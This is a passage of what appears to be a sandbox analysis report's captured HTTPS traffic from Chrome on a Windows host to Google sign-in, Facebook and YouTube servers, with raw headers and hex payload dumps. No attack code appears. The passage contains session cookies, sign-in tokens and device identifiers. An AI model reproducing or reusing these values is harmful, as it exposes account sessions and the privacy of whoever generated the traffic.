version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:59 UTC	1770	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:59 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-0ULDSsTcJCS9Dz_sm5jbVQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:59 UTC	1655	IN	Data Raw: 36 37 30 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 33 20 28 46 6f 72 62 69 64 64 65 6e 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 76 74 33 46 6f 39 39 50 38 57 42 6b 39 2d 74 63 68 32 6b 6e 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 Data Ascii: 670<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 403 (Forbidden)!!1</title><style nonce="xvt3Fo99P8WBk9-tch2knA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans
2024-01-17 23:34:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49865	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:59 UTC	599	OUT	GET /rsrc.php/v3/yF/r/PtmfxLVwAb7.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:59 UTC	1259	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: DnBH3tolqXsxPQ/U/FBMMA== Expires: Mon, 13 Jan 2025 15:13:54 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), encrypted-media=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(self), midi=(), otp-credentials=(), payment=(), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=(self) cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: gc5z8hAPH9qEYMbkBKTgFffhm+j8w1dlDJqItTmiYLYZbfR+ahxhDO5fDnhiCkY9tUWKKbIyZ1WOC7OA9A5J2g== Date: Wed, 17 Jan 2024 23:34:59 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 285
2024-01-17 23:34:59 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:59 UTC	284	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 67 65 74 43 6f 6e 74 65 78 74 75 61 6c 50 61 72 65 6e 74 22 2c 5b 22 67 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 2c 62 29 7b 62 3d 3d 3d 76 6f 69 64 20 30 26 26 28 62 3d 21 31 29 3b 76 61 72 20 64 3d 21 31 3b 61 3d 61 3b 64 6f 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6f 77 6e 65 72 69 64 22 29 3b 69 66 28 65 29 7b 61 3d 63 28 22 67 65 22 29 28 65 29 3b 64 3d 21 30 3b 63 6f 6e 74 69 6e 75 65 7d 7d 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 77 68 69 6c 65 28 62 26 26 61 26 26 21 64 29 3b 72 Data Ascii: /FB_PKG_DELIM/__d("getContextualParent",["ge"],(function(a,b,c,d,e,f,g){function a(a,b){b===void 0&&(b=!1);var d=!1;a=a;do{if(a instanceof Element){var e=a.getAttribute("data-ownerid");if(e){a=c("ge")(e);d=!0;continue}}a=a.parentNode}while(b&&a&&!d);r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49868	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:59 UTC	1166	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__dyn=7xe6E5aQ1PyUbFp61swgE98nwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG78b87C0yE7i0n24o5-0me2218w5uw5Uwdq0Ho2eU5O0PU1mUdEG0hi0Lo6-0iq0NE&__hs=19739.BP%3ADEFAULT.2.0..0.0&__hsi=7325214798112811389&__req=1&__rev=1010867501&__s=heq9de%3A1o93e2%3A35jhjl&__spin_b=trunk&__spin_r=1010867501&__spin_t=1705534476&__user=0&dpr=1&jazoest=21039&lsd=AVraRSlEjzk HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 922 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL1U1HE5FEUSAIvkA Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQM.AWXfYTWBBsg; _js_datr=DGSoZXKoCY8OkV9WMe-nT3iH
2024-01-17 23:34:59 UTC	922	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4c 31 55 31 48 45 35 46 45 55 53 41 49 76 6b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 30 35 35 33 34 34 39 38 36 32 35 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4c 31 55 31 48 45 35 46 45 55 53 41 49 76 6b 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 75 73 65 72 22 3a 22 30 22 2c 22 77 65 62 53 65 73 73 69 6f 6e 49 64 22 3a 22 68 65 71 39 64 65 3a 31 6f 39 33 65 32 3a 33 35 6a 68 6a 6c 22 2c 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 Data Ascii: ------WebKitFormBoundaryL1U1HE5FEUSAIvkAContent-Disposition: form-data; name="ts"1705534498625------WebKitFormBoundaryL1U1HE5FEUSAIvkAContent-Disposition: form-data; name="q"[{"user":"0","webSessionId":"heq9de:1o93e2:35jhjl","app_id":"256281
2024-01-17 23:35:00 UTC	1949	IN	HTTP/1.1 200 OK reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net .fbsbx.com .fb.com;font-src data: .gstatic.com .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com .tenor.co media.tenor.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net .giphy.com connect.facebook.net .carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com .whatsapp.net .fb.com .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com https://.giphy.com data:;frame-src .doubleclick.net .google.com .facebook.com www.googleadservices.com .fbsbx.com fbsbx.com data: www.instagram.com .fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: .facebook.com data:;block-all-mixed-content;upgrade-insecure-requests; document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), encrypted-media=()
2024-01-17 23:35:00 UTC	1325	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49871	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:00 UTC	1935	OUT	POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-3026791845322186812&bl=boq_identityfrontendauthuiserver_20240107.08_p0&hl=en-US&_reqid=2099&rt=c HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 165 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-goog-ext-278367001-jspb: ["GlifWebSignIn"] X-Same-Domain: 1 x-goog-ext-391502476-jspb: ["S-586605101:1705534478563012",null,null,"ASKXGp2tJPB3Ojygu8H0Nq-e-VWoesVuSqMqtwVz1w7gLDZs0sblPrXYTPEhXtH_AYuP9vdSp9W6Tg"] sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation Origin: https://accounts.google.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:6D-JNTZVLmEY4TJ9M5T4q09tNaSokQ:Hm2S_1tAXq0oBBMs
2024-01-17 23:35:00 UTC	165	OUT	Data Raw: 66 2e 72 65 71 3d 25 35 42 25 35 42 25 35 42 25 32 32 55 45 6b 4b 77 62 25 32 32 25 32 43 25 32 32 25 35 42 25 35 43 25 32 32 53 2d 35 38 36 36 30 35 31 30 31 25 33 41 31 37 30 35 35 33 34 34 37 38 35 36 33 30 31 32 25 35 43 25 32 32 25 35 44 25 32 32 25 32 43 6e 75 6c 6c 25 32 43 25 32 32 67 65 6e 65 72 69 63 25 32 32 25 35 44 25 35 44 25 35 44 26 61 74 3d 41 4c 74 34 56 65 33 65 6c 6f 67 5a 64 38 34 59 6b 67 74 46 47 75 6f 71 4d 39 39 59 25 33 41 31 37 30 35 35 33 34 34 37 39 36 35 37 26 Data Ascii: f.req=%5B%5B%5B%22UEkKwb%22%2C%22%5B%5C%22S-586605101%3A1705534478563012%5C%22%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at=ALt4Ve3elogZd84YkgtFGuoqM99Y%3A1705534479657&
2024-01-17 23:35:00 UTC	1599	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Set-Cookie: __Host-GAPS=1:5-VqxJMLVh1Z_yvAADCgON_4YNkrEw:2Sz4ABSfAkPCYE7F; Expires=Fri, 16-Jan-2026 23:35:00 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:00 GMT Content-Disposition: attachment; filename="response.bin"; filename=UTF-8''response.bin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version= Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Cross-Origin-Resource-Policy: same-site Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:00 UTC	122	IN	Data Raw: 37 34 0d 0a 29 5d 7d 27 0a 0a 31 30 37 0a 5b 5b 22 77 72 62 2e 66 72 22 2c 22 55 45 6b 4b 77 62 22 2c 22 5b 32 5d 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 67 65 6e 65 72 69 63 22 5d 2c 5b 22 64 69 22 2c 33 32 5d 2c 5b 22 61 66 2e 68 74 74 70 72 6d 22 2c 33 31 2c 22 2d 33 33 35 31 30 33 37 34 33 30 33 30 37 38 38 31 38 35 30 22 2c 39 33 5d 5d 0a 0d 0a Data Ascii: 74)]}'107[["wrb.fr","UEkKwb","[2]",null,null,null,"generic"],["di",32],["af.httprm",31,"-3351037430307881850",93]]
2024-01-17 23:35:00 UTC	33	IN	Data Raw: 31 62 0d 0a 32 35 0a 5b 5b 22 65 22 2c 34 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 34 33 5d 5d 0a 0d 0a Data Ascii: 1b25[["e",4,null,null,143]]
2024-01-17 23:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49869	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:00 UTC	1099	OUT	GET /manifest.webmanifest HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:35:00 UTC	3269	IN	HTTP/1.1 200 OK Content-Type: application/manifest+json; charset=utf-8 X-Content-Type-Options: nosniff Expires: Wed, 17 Jan 2024 23:35:00 GMT Date: Wed, 17 Jan 2024 23:35:00 GMT Cache-Control: private, max-age=86400 Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 Cross-Origin-Opener-Policy: same-origin; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=1Vxt8toxyC4; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: LOGIN_INFO=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: SID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: HSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: SSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: APISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: SAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:00 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:00 UTC	1593	IN	Data Raw: 36 33 32 0d 0a 7b 22 6e 61 6d 65 22 3a 22 59 6f 75 54 75 62 65 22 2c 22 73 68 6f 72 74 5f 6e 61 6d 65 22 3a 22 59 6f 75 54 75 62 65 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6c 6f 72 22 3a 22 23 46 46 46 46 46 46 22 2c 22 64 69 73 70 6c 61 79 22 3a 22 6d 69 6e 69 6d 61 6c 2d 75 69 22 2c 22 73 74 61 72 74 5f 75 72 6c 22 3a 22 2f 3f 66 65 61 74 75 72 65 5c 75 30 30 33 64 79 74 63 61 22 2c 22 73 63 6f 70 65 22 3a 22 2f 22 2c 22 69 63 6f 6e 73 22 3a 5b 7b 22 73 72 63 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 79 6f 75 74 75 62 65 2f 69 6d 67 2f 62 72 61 6e 64 69 6e 67 2f 66 61 76 69 63 6f 6e 2f 66 61 76 69 63 6f 6e 5f 31 34 34 78 31 34 34 2e 70 6e 67 22 2c 22 73 69 7a 65 73 22 3a 22 31 34 34 78 31 34 34 22 2c 22 74 Data Ascii: 632{"name":"YouTube","short_name":"YouTube","background_color":"#FFFFFF","display":"minimal-ui","start_url":"/?feature\u003dytca","scope":"/","icons":[{"src":"https://www.gstatic.com/youtube/img/branding/favicon/favicon_144x144.png","sizes":"144x144","t
2024-01-17 23:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

